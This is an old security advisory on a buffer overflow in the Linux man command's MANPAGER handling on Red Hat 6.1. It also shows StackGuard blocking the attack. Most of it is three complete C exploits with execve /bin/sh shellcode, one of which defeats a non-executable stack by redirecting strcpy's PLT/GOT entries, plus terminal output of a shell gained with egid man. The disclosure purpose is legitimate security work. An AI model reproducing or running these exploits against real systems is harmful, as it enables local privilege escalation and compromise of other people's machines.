COMMAND

    man

SYSTEMS AFFECTED

    Linux

PROBLEM

    At  WireX  Crispin  Cowan  and   others  were  doing  some   fresh
    vulnerability testing.   In the text  below M.C.Mar describes  his
    work  for   them  demonstrating   an  exploit   against  the   man
    vulnerability,  and  then  demonstrating  that  the   StackGuarded
    version of man is not vulnerable.

    How does exploit work?

        [emsi@pipek ~]$ ./a.out
        RET: 0xbffff470  len: 4073

        sh:F?F   V
              °  NÍ?1Û?Ø@Í?èÜÿÿÿ/bin/sh
        Error executing formatting or display command.
        System command /bin/gunzip -c /var/catman/cat1/ls.1.gz |F?F   V
                                                                   °
        NÍ?1Û?Ø@Í?èÜÿÿÿ/bin/sh
        ?ó
        bash$ id
        uid=1000(emsi) gid=1000(emsi) egid=15(man) groups=1000(emsi)
        bash$

    The exploit is at the end.   If you recompile the vulnerable  code
    with gcc-2.7.2.3-14_SGc2_SG121.i386.rpm and tested it StackGuarded
    code with explot you get:

        [emsi@pipek ~]$ ./a.out
        RET: 0xbffff470  len: 4073

        sh:F?F   V
              °  NÍ?1Û?Ø@Í?èÜÿÿÿ/bin/sh
        Error executing formatting or display command.
        System command /bin/gunzip -c /var/catman/cat1/ls.1.gz |F?F   V
                                                                   °
        NÍ?1Û?Ø@Í?èÜÿÿÿ/bin/sh
        ?ó
        man[6129]: Immunix type 2 Canary[7] = 850e2904 died with cadaver ae4bfc74
        in procedure display_cat_file.

    Exploit:

    /*
     * Rewriten from:
     * (c) 2000 babcia padlina / b0f
     * (lcamtuf's idea)
     * by Kil3r of Lam3rZ
     *
     * redhat 6.1 /usr/bin/man exploit
    */

    #include <stdio.h>
    #include <sys/param.h>
    #include <sys/stat.h>
    #include <string.h>

    #define NOP		0x90
    #define OFS		1800
    #define BUFSIZE		4017
    #define ADDRS		1000

    long getesp(void)
    {
       __asm__("movl %esp, %eax\n");
    }

    int main(argc, argv)
    int argc;
    char **argv;
    {
	    char *execshell =
	    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

	    char buf[BUFSIZE+strlen(execshell)], *p;
	    int noplen, i, ofs;
	    long ret, *ap;

	    ret = getesp() + OFS;

	    memset(buf,NOP,BUFSIZE+strlen(execshell));
	    memcpy(buf+BUFSIZE-(strlen(execshell)+20),execshell,strlen(execshell));

	    p=buf+BUFSIZE+strlen(execshell)-4;
	    ap=(int *)p;
	    *ap=ret; //0x46464646;

	    fprintf(stderr, "RET: 0x%x  len: %d\n\n", ret, strlen(buf));

	    setenv("MANPAGER", buf, 1);
	    execl("./man", "man", "ls", 0);

	    return 0;
    }

    For  the  sake  of  full  disclosure  an  exploit for the MANPAGER
    environment variable was sent by psychoid:

    /*
     * MAN-Exploit for MANPAGER environmental variable.
     * rh 6.x, tested on rh 6.1
     * written by psychoid/tCl
     * gives egid man.
     *
     * Originally discovered by lcamtuf.
     * educational. yes.
     *
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>

    int main(int argc, char **argv)
    {
       char *buff = NULL;
       unsigned long *addr_ptr = NULL;
       char *ptr = NULL;
       unsigned long offset;
       unsigned long addi=0xbfffacc4;

       u_char execshell[] =
    "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"

    "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"

    "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
                            "\xd7\xff\xff\xff/bin/sh";
     /* extreme nice shellycode */
       int i;

       if(argc<2)
       {
           offset=150;
       } else {
           offset=strtoul(argv[1],NULL,16);
       }
       printf("Building buffer for adress %-8x\n",offset+addi);

       buff = malloc(4062);
       if(!buff)
       {
          printf("can't allocate memory\n");
          exit(0);
       }
       ptr = buff;
       printf("Nopping..\n");
       /* filling with nops */
       memset(ptr, 0x0, 4062);
       memset(ptr, 0x90, 4061);
       printf("Setting adress.. %-8x\n",ptr);
       ptr+=0xf71;
       addr_ptr=(long *)ptr;
       *(addr_ptr++) = offset + addi;
       /* shelly */
       printf("Copying shell code..\n");
       ptr=buff+0xf6f-strlen(execshell);
       for(i=0;i < strlen(execshell);i++)
          *(ptr++) = execshell[i];
       *ptr++='\n';
       printf("Done. Setting environmental variable.\n");
       setenv("MANPAGER",buff,1);
       printf("Calling man..\n");
       execl("/usr/bin/man", "psychoid", "man", NULL);
       exit(0x0);
    }

    For  absolutely  FULL  disclosure  here  is  wonderfull man sploit
    that works cool  even if stack  is nonexecutable (it  exploits the
    feature of GOT being executable:

    /*
     * Rewriten from:
     * (c) 2000 babcia padlina / b0f
     * (lcamtuf's idea)
     * by Kil3r of Lam3rZ
     * for nonexec stack environment
     *
     * redhat 6.1 (and others) /usr/bin/man exploit
    */
    
	    char execshell[] =
	    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	    "\x80\xe8\xdc\xff\xff\xff/bin/sh";
    
    
    #include <stdio.h>
    #include <sys/param.h>
    #include <sys/stat.h>
    #include <string.h>
    
    #define STRCPY		0x80490e4	// <== strcpy() PLT entry
    #define	GOT		0x805038c	// <== strcpy() GOT entry
    #define NOP		0x90
    #define BUFSIZE		4033+38
    #define RET		STRCPY		//0x46464646
    #define _BIN_SH		0xbfffffe7 	// <== where we have "/bin/sh" string,
					    //    curently useless ;)
    #define SHELLCODE	0xbfffffc1
    
    long getesp(void)
    {
       __asm__("movl %esp, %eax\n");
    }
    
    int main(argc, argv)
    int argc;
    char **argv;
    {
	    char buf[BUFSIZE], *p;
	    char *env[3];
	    int *ap;
    
	    memset(buf,NOP,BUFSIZE);
    
	    p=buf+BUFSIZE-4;
	    ap=(int *)p;
	    *ap++ =RET;
	    *ap++ =GOT+4;
	    *ap++ =GOT+4;
	    *ap++ =SHELLCODE;
    
	    fprintf(stderr, "RET: 0x%x  SHELLCODE: 0x%x", RET, SHELLCODE);
    
	    memcpy(buf,"MANPAGER=", 9);
	    env[0]=buf;
    //	env[1]="/bin/sh";
	    env[1]=execshell;
	    env[2]=(char *)0;
	    execle("/usr/bin/man", "man", "ls", 0, env); // use execle to have
				    // shellcode and other params at fixed addr!!!
    
	    return 0;
    }

SOLUTION

    With StackGuard everything looks much better.